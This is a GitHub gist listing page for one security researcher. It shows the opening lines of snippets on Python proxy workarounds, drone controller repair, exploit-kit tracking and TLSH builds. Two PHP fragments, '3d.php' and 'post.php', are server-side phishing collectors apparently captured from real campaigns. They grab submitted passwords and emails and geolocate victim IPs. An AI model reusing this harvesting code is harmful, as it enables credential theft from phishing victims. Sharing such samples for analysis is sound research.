Skip to content

Instantly share code, notes, and snippets.

Brad Antoniewicz brad-anton

Block or report user

Report or block brad-anton

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View trie.py
"""
trie.py
@brad_anton
Go back to college, kid!
"""
class Node(object):
def __init__(self, value, parent=None):
self.value = value
@brad-anton
brad-anton / requests_connect_with_headers_using_pacfile.py
Last active Dec 10, 2018
HTTPS Proxy Servers within a PAC File using Python Requests in multiple redirect chains
View requests_connect_with_headers_using_pacfile.py
"""
requests_connect_with_headers_using_pacfile.py
@brad_anton
Certain proxy servers require Full HTTP headers to be included in the
HTTP CONNECT request, however requests seems to split these up into
multiple packets. This work around combines the headers and connect into
a single send().
Documented in:
@brad-anton
brad-anton / requests_connect_with_headers.py
Last active Feb 27, 2019
Certain proxy servers require the Full HTTP request to be included in the same packet as the HTTP CONNECT, however requests seems to split these up into multiple packets. This work around combines the headers and connect into a single send(). Documented here: https://github.com/requests/requests/issues/4884
View requests_connect_with_headers.py
"""
requests_connect_with_headers.py
@brad_anton
Certain proxy servers require the Full HTTP request to be included in
the same packet as the HTTP CONNECT, however requests seems to split
these up into multiple packets. This work around combines the headers
and connect into a single send().
Documented here: https://github.com/requests/requests/issues/4884
@brad-anton
brad-anton / requests_connect_over_https.py
Last active Nov 27, 2018
This is a creative way to force python requests' module to issue a Proxy CONNECT over HTTPS. Also allows you to define proxy headers and other goodies
View requests_connect_over_https.py
"""
requests_connect_over_https.py
@brad_anton
This is a creative way to force python requests' module to issue a Proxy
CONNECT over HTTPS. Also allows you to define proxy headers and other goodies
Warning: This was only tested partially
"""
@brad-anton
brad-anton / gl300c_no_lights.md
Last active Sep 21, 2018
Fix and Troubleshooting for the DJI Phantom 3 Advanced Controller (GL300C)
View gl300c_no_lights.md

Symptoms

  • No lights on controller
  • Does not respond to charge
  • No key/button combinations seem to make it work

Battery Problems

The DJI Phantom controllers (Phantom 3, Phantom 3 Advanced, and reportedly some Phantom 4's) seem to have a problem with their batteries where they refuse to charge. If the controller doesnt respond to charge or the power button, it is likely your battery is experiencing this issue. (Scroll down to "Getting the lights to turn on" first before replacing the battery)

Under Warranty

If your Phantom is under warranty (within 1? year of purchase and can provide proof), open a case with support, they'll have you ship the controller back and in about 1-2 months, you'll get it back with a new battery.

@brad-anton
brad-anton / 3d.php
Created Nov 20, 2017
a better form collector found to be used in phishing campaigns
View 3d.php
<?php
session_start();
$country = visitor_country();
$ip = $_SERVER['REMOTE_ADDR'];
$login = $_SESSION['clientemail'];
$passwd = $_POST['passwd'];
$sender = 'Hotmail-3D@serverX.com';
$over = 'https://outlook.live.com/owa/?path=/mail/inbox';
@brad-anton
brad-anton / post.php
Created Nov 20, 2017
Server-side phishing collection form
View post.php
<?php
$ip = getenv("REMOTE_ADDR");
//Get IP Country City
$url = "http://api.ipinfodb.com/v3/ip-country/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$url = "http://api.ipinfodb.com/v3/ip-city/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$ipCountryCityInfo = file_get_contents($url);
//
@brad-anton
brad-anton / spamregurg.py
Created Sep 21, 2017
Checks your mailbox for lots of 'Confirm' messages and then pulls info from them
View spamregurg.py
import httplib2
import os
import base64
import email
import re
from apiclient import errors
from apiclient import discovery
from oauth2client import client
from oauth2client import tools
@brad-anton
brad-anton / README.md
Last active Mar 30, 2018
Using the Exploit Kit Tracker
View README.md

Client Library

An example client library can be found in client.py. To use:

>>> from client import ektracker_client
>>> e = ektracker_client('your_api_key') 

>>> e.add_tag('rig', 'rig exploit kit', [ 'http://www.google.com/', 'http://www.test.com' ], ['.*', '[a-f]{1,}'])
Uploading Tag: {'signatures': ['.*', '[a-f]{1,}'], 'references': ['http://www.google.com/', 'http://www.test.com'], 'name': 'rig', 'description': 'rig exploit kit'}
@brad-anton
brad-anton / README.md
Created Jun 11, 2017
Building TLSH on Ubuntu 16.04
View README.md
sudo apt-get install cmake
curl -L -O https://github.com/trendmicro/tlsh/archive/v3.4.5.zip
unzip v3.4.5.zip
cd tlsh-3.4.5/
bash make.sh

Python module

You can’t perform that action at this time.